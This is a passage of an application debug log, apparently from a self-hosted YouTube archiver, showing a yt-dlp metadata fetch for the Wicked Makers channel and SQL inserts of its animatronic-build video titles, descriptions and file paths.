shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [122447] 13:42:10.665 [debug] Current batch of media processed. Will check again in 1000ms 13:42:11.666 [debug] Current batch of media processed. Will check again in 1000ms 13:42:12.096 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://youtube.com/@wickedmakers?si=6H2N44HREVS1QsI5 --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/shows/Wicked Makers/Season %(upload_date>%Y)S/s%(upload_date>%Y)Se%(upload_date>%m%d)S00 - %(title)S.%(ext)S --remux-video mp4 --format-sort res:1440,+codec:avc:m4a --format bestvideo*+bestaudio/best --break-on-existing --download-archive /tmp/pinchflat/data/96/cb/96cb3cac72d944a77d25520b14d986d02709916e2d1a0cf06bb875f77a864795.txt --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/77/f4/77f4324d3cb01a711539f84f7e9d3aed43896efc4bbfe8347a2e4e1fe5201962.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 101 with: 13:42:12.097 [debug] Gracefully stopping file follower 13:42:12.097 [debug] QUERY OK source="sources" db=0.4ms idle=518.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [35] 13:42:12.098 [debug] QUERY OK source="sources" db=0.1ms idle=101.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 13:42:12.099 [debug] QUERY OK source="media_items" db=0.4ms idle=102.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-30 12:13:59Z], 35] 13:42:12.100 [debug] QUERY OK source="media_items" db=1.0ms idle=102.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Jaimie and Jay remake their very first animatronic - HUGGY WUGGY!\n\nTurn your curiosity into creativity and try KiwiCo today! Go to https://www.kiwico.com/wickedmakers and use the code WICKEDMAKERS to get 50% off your first monthly crate.\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\nWicked Merch ► https://shopwickedmakers.com\nSupport our Videos ► https://patreon.com/wickedmakers\nJoin our Community on Discord! ► https://discord.gg/wickedmakers\n\nPoppy Playtime’s Huggy Wuggy was our very first DIY animatronic. He was built completely from scratch with PVC pipes, a wiper motor, and LOTS of blue fur. We love our Huggy Wuggy, but since he was our very first custom animatronic we made a lot of mistakes. He was off balance, his head had a habit of falling off, and he was pretty fragile.\n\nSince then, we’ve built a ton of other poppy playtime animatronics like DogDay, CatNap, Mommy Long Legs, The Doctor, The Prototype, and even a Yarnaby that can eat people! We’ve learned a lot about making animatronics these last 3 years, and Huggy’s look has changed too, so we decided it was finally time to give him a makeover!\n\nWe hope you enjoy the video! Let us know who you want to see next and as always, Stay Wicked!\n\n#PoppyPlaytime\n#HuggyWuggy\n#Animatronic", "Rebuilding Our HUGGY WUGGY Animatronic (3 Years Later)", "0966de86-ed3f-4fcd-8b68-5feb7d8500db", "j8-i3CGf5z0", false, "https://www.youtube.com/watch?v=j8-i3CGf5z0", 35, [], 1728, false, 1, "/downloads/shows/Wicked Makers/Season 2026/s2026e053000 - Rebuilding Our HUGGY WUGGY Animatronic (3 Years Later).mkv", false, false, 98, ~U[2026-05-30 12:13:59Z], ~U[2026-06-02 17:42:12Z], ~U[2026-06-02 17:42:12Z], "Jaimie and Jay remake their very first animatronic - HUGGY WUGGY!\n\nTurn your curiosity into creativity and try KiwiCo today! Go to https://www.kiwico.com/wickedmakers and use the code WICKEDMAKERS to get 50% off your first monthly crate.\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\nWicked Merch ► https://shopwickedmakers.com\nSupport our Videos ► https://patreon.com/wickedmakers\nJoin our Community on Discord! ► https://discord.gg/wickedmakers\n\nPoppy Playtime’s Huggy Wuggy was our very first DIY animatronic. He was built completely from scratch with PVC pipes, a wiper motor, and LOTS of blue fur. We love our Huggy Wuggy, but since he was our very first custom animatronic we made a lot of mistakes. He was off balance, his head had a habit of falling off, and he was pretty fragile.\n\nSince then, we’ve built a ton of other poppy playtime animatronics like DogDay, CatNap, Mommy Long Legs, The Doctor, The Prototype, and even a Yarnaby that can eat people! We’ve learned a lot about making animatronics these last 3 years, and Huggy’s look has changed too, so we decided it was finally time to give him a makeover!\n\nWe hope you enjoy the video! Let us know who you want to see next and as always, Stay Wicked!\n\n#PoppyPlaytime\n#HuggyWuggy\n#Animatronic", "Rebuilding Our HUGGY WUGGY Animatronic (3 Years Later)", "j8-i3CGf5z0", "https://www.youtube.com/watch?v=j8-i3CGf5z0", 35, 1728, false, "/downloads/shows/Wicked Makers/Season 2026/s2026e053000 - Rebuilding Our HUGGY WUGGY Animatronic (3 Years Later).mkv", false, ~U[2026-05-30 12:13:59Z]] 13:42:12.101 [debug] QUERY OK source="sources" db=0.2ms idle=104.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 13:42:12.101 [debug] QUERY OK source="media_items" db=0.4ms idle=3.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-04-17 19:59:16Z], 35] 13:42:12.103 [debug] QUERY OK source="media_items" db=1.4ms idle=3.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Jaimie and Jay make a real PROTOTYPE animatronic! 😱 Thanks to Monarch for partnering with us! Start your free trial and get 50% off your first year of total money clarity using our link: https://monarchmoney.yt.link/6oTRFMj or code: WICKED50.\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nWicked Merch ► https://shopwickedmakers.com\nSupport our Videos ► https://patreon.com/wickedmakers\n\nSpecial Thanks to:\nFormlabs ►https://formlabs.com/3d-printers/form-4l/?utm_source=youtube&utm_medium=referral&utm_campaign=wickedmakers-f4l-2025-08-11-global\nBeardless Props ► https://instagram.com/beardlessprops\nPurgatory Props ► https://purgatoryprops.com\nReaper Minis ► https://www.reapermini.com/\nEve Cabanie ► https://www.artstation.com/itsonlyevee\nGhost Ride Productions ► https://ghostride.com\n\nJoin our Community on Discord! ►\nhttps://discord.gg/wickedmakers\n\nWho is The Prototype?\nAlso known as Experiment 1006, The Prototype is the main antagonist of Poppy Playtime. He’s been hinted at and teased in past chapters, and in Poppy Playtime Chapter 5, we finally get to see him. We love his design and are so excited to bring him to life as an animatronic.\n\nOur DIY Prototype animatronic will have a strong steel welded frame, a hand tailored outfit, and a super detailed 3d printed resin face printed on our new Formlabs Form4L printer. His head and face will both be able to rotate and can be animated with Purgatory Prop’s Aamon Motor controller. And the best part? His hand will have actual crushing power!\n\nTo test the pneumatic hand of doom, we’ll of course need to make a life-sized Poppy doll. Poor Poppy.\n\nWe hope you enjoyed watching our new Poppy Playtime animatronic build! Let us know who you want us to build next and Stay Wicked!\n\n#ThePrototype\n#PoppyPlaytime\n#Animatronic", "We made a real PROTOTYPE (that can CRUSH Poppy!)", "94cb90fc-0136-4982-8328-57074b0872a1", "1pBWywI-Ilc", false, "https://www.youtube.com/watch?v=1pBWywI-Ilc", 35, [], 2462, false, 2, "/downloads/shows/Wicked Makers/Season 2026/s2026e041700 - We made a real PROTOTYPE (that can CRUSH Poppy!).mp4", false, false, 98, ~U[2026-04-17 19:59:16Z], ~U[2026-06-02 17:42:12Z], ~U[2026-06-02 17:42:12Z], "Jaimie and Jay make a real PROTOTYPE animatronic! 😱 Thanks to Monarch for partnering with us! Start your free trial and get 50% off your first year of total money clarity using our link: https://monarchmoney.yt.link/6oTRFMj or code: WICKED50.\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nWicked Merch ► https://shopwickedmakers.com\nSupport our Videos ► https://patreon.com/wickedmakers\n\nSpecial Thanks to:\nFormlabs ►https://formlabs.com/3d-printers/form-4l/?utm_source=youtube&utm_medium=referral&utm_campaign=wickedmakers-f4l-2025-08-11-global\nBeardless Props ► https://instagram.com/beardlessprops\nPurgatory Props ► https://purgatoryprops.com\nReaper Minis ► https://www.reapermini.com/\nEve Cabanie ► https://www.artstation.com/itsonlyevee\nGhost Ride Productions ► https://ghostride.com\n\nJoin our Community on Discord! ►\nhttps://discord.gg/wickedmakers\n\nWho is The Prototype?\nAlso known as Experiment 1006, The Prototype is the main antagonist of Poppy Playtime. He’s been hinted at and teased in past chapters, and in Poppy Playtime Chapter 5, we finally get to see him. We love his design and are so excited to bring him to life as an animatronic.\n\nOur DIY Prototype animatronic will have a strong steel welded frame, a hand tailored outfit, and a super detailed 3d printed resin face printed on our new Formlabs Form4L printer. His head and face will both be able to rotate and can be animated with Purgatory Prop’s Aamon Motor controller. And the best part? His hand will have actual crushing power!\n\nTo test the pneumatic hand of doom, we’ll of course need to make a life-sized Poppy doll. Poor Poppy.\n\nWe hope you enjoyed watching our new Poppy Playtime animatronic build! Let us know who you want us to build next and Stay Wicked!\n\n#ThePrototype\n#PoppyPlaytime\n#Animatronic", "We made a real PROTOTYPE (that can CRUSH Poppy!)", "1pBWywI-Ilc", "https://www.youtube.com/watch?v=1pBWywI-Ilc", 35, 2462, false, "/downloads/shows/Wicked Makers/Season 2026/s2026e041700 - We made a real PROTOTYPE (that can CRUSH Poppy!).mp4", false, ~U[2026-04-17 19:59:16Z]] 13:42:12.104 [debug] QUERY OK source="sources" db=0.3ms idle=4.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 13:42:12.104 [debug] QUERY OK source="media_items" db=0.4ms idle=3.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-02-25 20:45:16Z], 35] 13:42:12.105 [debug] QUERY OK source="media_items" db=0.7ms idle=3.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Jaimie and Jay test the cheapest, weirdest, and most dangerous one star animatronics! Let your fandom shine with Displate metal posters! Use code WICKED for 27% off 1 Displate and 35% off 2+ Displates. https://displate.com/l/wicked\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nSupport our Channel! ► https://patreon.com/wickedmakers\nJoin our Community on Discord! ► https://discord.gg/wickedmakers\n\nWe’re hard at work making the Prototype from Poppy Playtime, but in the meantime we’re trying something fun! We buy questionable animatronics all the time and give them makeovers to turn them into something awesome. In this video, we search for the craziest animatronics we can find, put them to the test, and tell you how we’d turn them into 5 star animatronics.\n\n#Animatronics", "We Tested ONE STAR Animatronics!", "94ce584b-0d66-4e73-ad36-a740f107f17c", "1Sf-QXdYdBg", false, "https://www.youtube.com/watch?v=1Sf-QXdYdBg", 35, [], 1212, false, 3, "/downloads/shows/Wicked Makers/Season 2026/s2026e022500 - We Tested ONE STAR Animatronics!.mp4", false, false, 98, ~U[2026-02-25 20:45:16Z], ~U[2026-06-02 17:42:12Z], ~U[2026-06-02 17:42:12Z], "Jaimie and Jay test the cheapest, weirdest, and most dangerous one star animatronics! Let your fandom shine with Displate metal posters! Use code WICKED for 27% off 1 Displate and 35% off 2+ Displates. https://displate.com/l/wicked\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nSupport our Channel! ► https://patreon.com/wickedmakers\nJoin our Community on Discord! ► https://discord.gg/wickedmakers\n\nWe’re hard at work making the Prototype from Poppy Playtime, but in the meantime we’re trying something fun! We buy questionable animatronics all the time and give them makeovers to turn them into something awesome. In this video, we search for the craziest animatronics we can find, put them to the test, and tell you how we’d turn them into 5 star animatronics.\n\n#Animatronics", "We Tested ONE STAR Animatronics!", "1Sf-QXdYdBg", "https://www.youtube.com/watch?v=1Sf-QXdYdBg", 35, 1212, false, "/downloads/shows/Wicked Makers/Season 2026/s2026e022500 - We Tested ONE STAR Animatronics!.mp4", false, ~U[2026-02-25 20:45:16Z]] 13:42:12.106 [debug] QUERY OK source="sources" db=0.2ms idle=4.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 13:42:12.106 [debug] QUERY OK source="media_items" db=0.4ms idle=3.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-05 20:42:40Z], 35] 13:42:12.108 [debug] QUERY OK source="media_items" db=1.4ms idle=3.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Jay and Jaimie make a real life Withered Bonnie animatronic from FNAF 2!\n👒🔎Download June’s Journey for free now using our link: https://woo.ga/97y8h4cs\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nSupport our Channel! ► https://patreon.com/wickedmakers\nJoin our Community on Discord! ► https://discord.gg/wickedmakers\n\nThe Five Nights at Freddy’s 2 movie is out! To celebrate, we’re making our most requested FNAF character - Withered Bonnie. For the base of our custom Bonnie animatronic, we’re using the Ultra Skelly. He’s a fully customizable Halloween animatronic skeleton from Home Depot that lets you add in custom audio. \n\nBonnie’s suit is a mixture of hand crafted foam and 3D printed pieces. Everything was covered in blue fleece, painted, and carefully attached to the endoskeleton.\n\nWe love how our real life Withered Bonnie turned out! He’s big and scary and he’s going to be the perfect companion to our Withered Foxy. If you want to see more custom DIY FNAF animatronics, we’ve also made Springtrap, The Puppet, Jackie, and the cutest little dancing Freddy. Who do you want to see us make next?!\n\nThanks for watching, thanks for an amazing 2025, and Stay Wicked, y’all!\n\n#FNAF\n#FiveNightsatFreddys\n#FNAFMovie", "We made a real WITHERED BONNIE Animatronic from FNAF!", "17ef5bd5-3276-45c8-ba79-d9414f88cdfe", "_Hp9lSryglU", false, "https://www.youtube.com/watch?v=_Hp9lSryglU", 35, [], 1806, false, 4, "/downloads/shows/Wicked Makers/Season 2025/s2025e120500 - We made a real WITHERED BONNIE Animatronic from FNAF!.mp4", false, false, 98, ~U[2025-12-05 20:42:40Z], ~U[2026-06-02 17:42:12Z], ~U[2026-06-02 17:42:12Z], "Jay and Jaimie make a real life Withered Bonnie animatronic from FNAF 2!\n👒🔎Download June’s Journey for free now using our link: https://woo.ga/97y8h4cs\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nSupport our Channel! ► https://patreon.com/wickedmakers\nJoin our Community on Discord! ► https://discord.gg/wickedmakers\n\nThe Five Nights at Freddy’s 2 movie is out! To celebrate, we’re making our most requested FNAF character - Withered Bonnie. For the base of our custom Bonnie animatronic, we’re using the Ultra Skelly. He’s a fully customizable Halloween animatronic skeleton from Home Depot that lets you add in custom audio. \n\nBonnie’s suit is a mixture of hand crafted foam and 3D printed pieces. Everything was covered in blue fleece, painted, and carefully attached to the endoskeleton.\n\nWe love how our real life Withered Bonnie turned out! He’s big and scary and he’s going to be the perfect companion to our Withered Foxy. If you want to see more custom DIY FNAF animatronics, we’ve also made Springtrap, The Puppet, Jackie, and the cutest little dancing Freddy. Who do you want to see us make next?!\n\nThanks for watching, thanks for an amazing 2025, and Stay Wicked, y’all!\n\n#FNAF\n#FiveNightsatFreddys\n#FNAFMovie", "We made a real WITHERED BONNIE Animatronic from FNAF!", "_Hp9lSryglU", "https://www.youtube.com/watch?v=_Hp9lSryglU", 35, 1806, false, "/downloads/shows/Wicked Makers/Season 2025/s2025e120500 - We made a real WITHERED BONNIE Animatronic from FNAF!.mp4", false, ~U[2025-12-05 20:42:40Z]] 13:42:12.109 [debug] QUERY OK source="sources" db=0.2ms idle=4.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 13:42:12.109 [debug] QUERY OK source="media_items" db=0.3ms idle=3.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-29 19:34:42Z], 35] 13:42:12.111 [debug] QUERY OK source="media_items" db=1.1ms idle=3.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Jaimie and Jay make a real Mommy Long Legs animatronic! 💀\nGrab your K2 Combo with 5% off using code: WICKED -- Works with existing promos! ► https://store.creality.com/products/k2-combo-3d-printer?utm_source=youtube&utm_medium=%5B%E2%80%A6%5Dtm_campaign%3Dk2_combo_product_page&utm_content=wicked_makers\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nJoin Creality Cloud’s Halloween 3D Design Contest before Nov 9 and win K2 printers, cash, and more! https://www.crealitycloud.com/contest/Halloween?tab=2\n\nMommy Long Legs Model is on our Patreon! ► (WITHIN 1-2 DAYS)\nhttps://patreon.com/wickedmakers\n\nJoin our Community on Discord! ►\nhttps://discord.gg/wickedmakers\n\nSpecial Thanks to:\nBeardless Props ► https://instagram.com/beardlessprops\nGhost Ride Productions ► https://ghostride.com\n\nWho is MOMMY LONG LEGS?!\nMommy Longlegs is a stretchy, spider-like giant toy who’s the main antagonist from Poppy Playtime Chapter 2 (created by Mob Entertainment). She’s twisty and creepy and very deranged. That makes her the perfect choice for us to build to scare trick-or-treaters this Halloween 2025. \n\nTo create our Mommy Long Legs Halloween animatronic, we first built a pneumatic mech so we could perfect her jump scare animation. Then we 3D modeled and 3D printed all of her body parts. We built her arms and legs from rubber pipe insulation and then painted everything so that she looked like an old plastic toy. Finally we put her on our porch to be the ultimate scary Halloween decoration.\n\nWe love how our real life Mommy Long Legs turned out! She’s an awesome jump scare pneumatic prop and she's going to make the perfect companion to our growing collection of custom Poppy Playtime Halloween animatronics like our Catnap, Huggy Wuggy, Yarnaby, and The Doctor animatronics. Who do you want to see us make next? And where do we put her when Halloween is over?!\n\nThanks for watching, Happy Halloween, and Stay Wicked, y’all!\n\n#MommyLongLegs\n#PoppyPlaytime\n#Halloween", "We made a real MOMMY LONG LEGS Animatronic!", "794a860e-3ed0-4a17-9a3d-bc0a3e3c9f3c", "ZGKi5nV0RBw", false, "https://www.youtube.com/watch?v=ZGKi5nV0RBw", 35, [], 1252, false, 5, "/downloads/shows/Wicked Makers/Season 2025/s2025e102900 - We made a real MOMMY LONG LEGS Animatronic!.mp4", false, false, 98, ~U[2025-10-29 19:34:42Z], ~U[2026-06-02 17:42:12Z], ~U[2026-06-02 17:42:12Z], "Jaimie and Jay make a real Mommy Long Legs animatronic! 💀\nGrab your K2 Combo with 5% off using code: WICKED -- Works with existing promos! ► https://store.creality.com/products/k2-combo-3d-printer?utm_source=youtube&utm_medium=%5B%E2%80%A6%5Dtm_campaign%3Dk2_combo_product_page&utm_content=wicked_makers\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nJoin Creality Cloud’s Halloween 3D Design Contest before Nov 9 and win K2 printers, cash, and more! https://www.crealitycloud.com/contest/Halloween?tab=2\n\nMommy Long Legs Model is on our Patreon! ► (WITHIN 1-2 DAYS)\nhttps://patreon.com/wickedmakers\n\nJoin our Community on Discord! ►\nhttps://discord.gg/wickedmakers\n\nSpecial Thanks to:\nBeardless Props ► https://instagram.com/beardlessprops\nGhost Ride Productions ► https://ghostride.com\n\nWho is MOMMY LONG LEGS?!\nMommy Longlegs is a stretchy, spider-like giant toy who’s the main antagonist from Poppy Playtime Chapter 2 (created by Mob Entertainment). She’s twisty and creepy and very deranged. That makes her the perfect choice for us to build to scare trick-or-treaters this Halloween 2025. \n\nTo create our Mommy Long Legs Halloween animatronic, we first built a pneumatic mech so we could perfect her jump scare animation. Then we 3D modeled and 3D printed all of her body parts. We built her arms and legs from rubber pipe insulation and then painted everything so that she looked like an old plastic toy. Finally we put her on our porch to be the ultimate scary Halloween decoration.\n\nWe love how our real life Mommy Long Legs turned out! She’s an awesome jump scare pneumatic prop and she's going to make the perfect companion to our growing collection of custom Poppy Playtime Halloween animatronics like our Catnap, Huggy Wuggy, Yarnaby, and The Doctor animatronics. Who do you want to see us make next? And where do we put her when Halloween is over?!\n\nThanks for watching, Happy Halloween, and Stay Wicked, y’all!\n\n#MommyLongLegs\n#PoppyPlaytime\n#Halloween", "We made a real MOMMY LONG LEGS Animatronic!", "ZGKi5nV0RBw", "https://www.youtube.com/watch?v=ZGKi5nV0RBw", 35, 1252, false, "/downloads/shows/Wicked Makers/Season 2025/s2025e102900 - We made a real MOMMY LONG LEGS Animatronic!.mp4", false, ~U[2025-10-29 19:34:42Z]] 13:42:12.111 [debug] QUERY OK source="sources" db=0.1ms idle=4.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 13:42:12.112 [debug] QUERY OK source="media_items" db=0.4ms idle=3.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-05 13:39:45Z], 35] 13:42:12.113 [debug] QUERY OK source="media_items" db=1.0ms idle=3.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Jaimie and Jay make Figure from Doors! Discover projects designed to inspire curiosity at any age with KiwiCo! Go to https://www.kiwico.com/wickedmakers and use code WICKEDMAKERS for 50% off your first monthly crate.\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nMERCH & WICKED GEAR ► https://shopwickedmakers.com\n\nJoin our Community on Discord! ►\nhttps://discord.gg/wickedmakers\n\nCould you sneak past a Figure in real life??\nFigure is one of the main enemies from an indie horror game called Doors on Roblox, developed by LSPLASH and RediblesQW. In the game, Figure is blind, so it can’t see you, but it can hear even the lightest footstep. It’s terrifying. We’re getting ready for Halloween, and a sound activated realistic Figure animatronic is going to be the perfect addition to our decorations to scare trick-or-treaters!\n\nTo make our real life Figure, we’re starting a werewolf animatronic from Lowes. It’s the perfect height, and has a really cool howling animation that will make our Figure look extra scary. After making a few modifications to the frame, we built up Figure’s shape with bubble wrap, aluminum foil, and plastic wrap. We swapped out the motion sensor for a sound sensor, added teeth and a glowing head, and we were ready for the ultimate challenge. Can we actually sneak past Figure, or will it catch us??\n\nWe can’t wait for Halloween! If you want to see more DIY animatronic builds like Springtrap and Jackie from FNAF or Dogday, Catnap, and Huggy Wuggy from Poppy Playtime, be sure to check out our channel! And let us know who YOU want us to build next!\n\nThanks for watching and Stay Wicked, y’all!\n\n#Figure\n#Doors\n#Animatronic", "We made a real FIGURE Animatronic (that can hear you)", "a5c36132-447b-486c-b326-85446de7b294", "VIJ9qbIX8-o", false, "https://www.youtube.com/watch?v=VIJ9qbIX8-o", 35, [], 1424, false, 6, "/downloads/shows/Wicked Makers/Season 2025/s2025e100500 - We made a real FIGURE Animatronic (that can hear you).mp4", false, false, 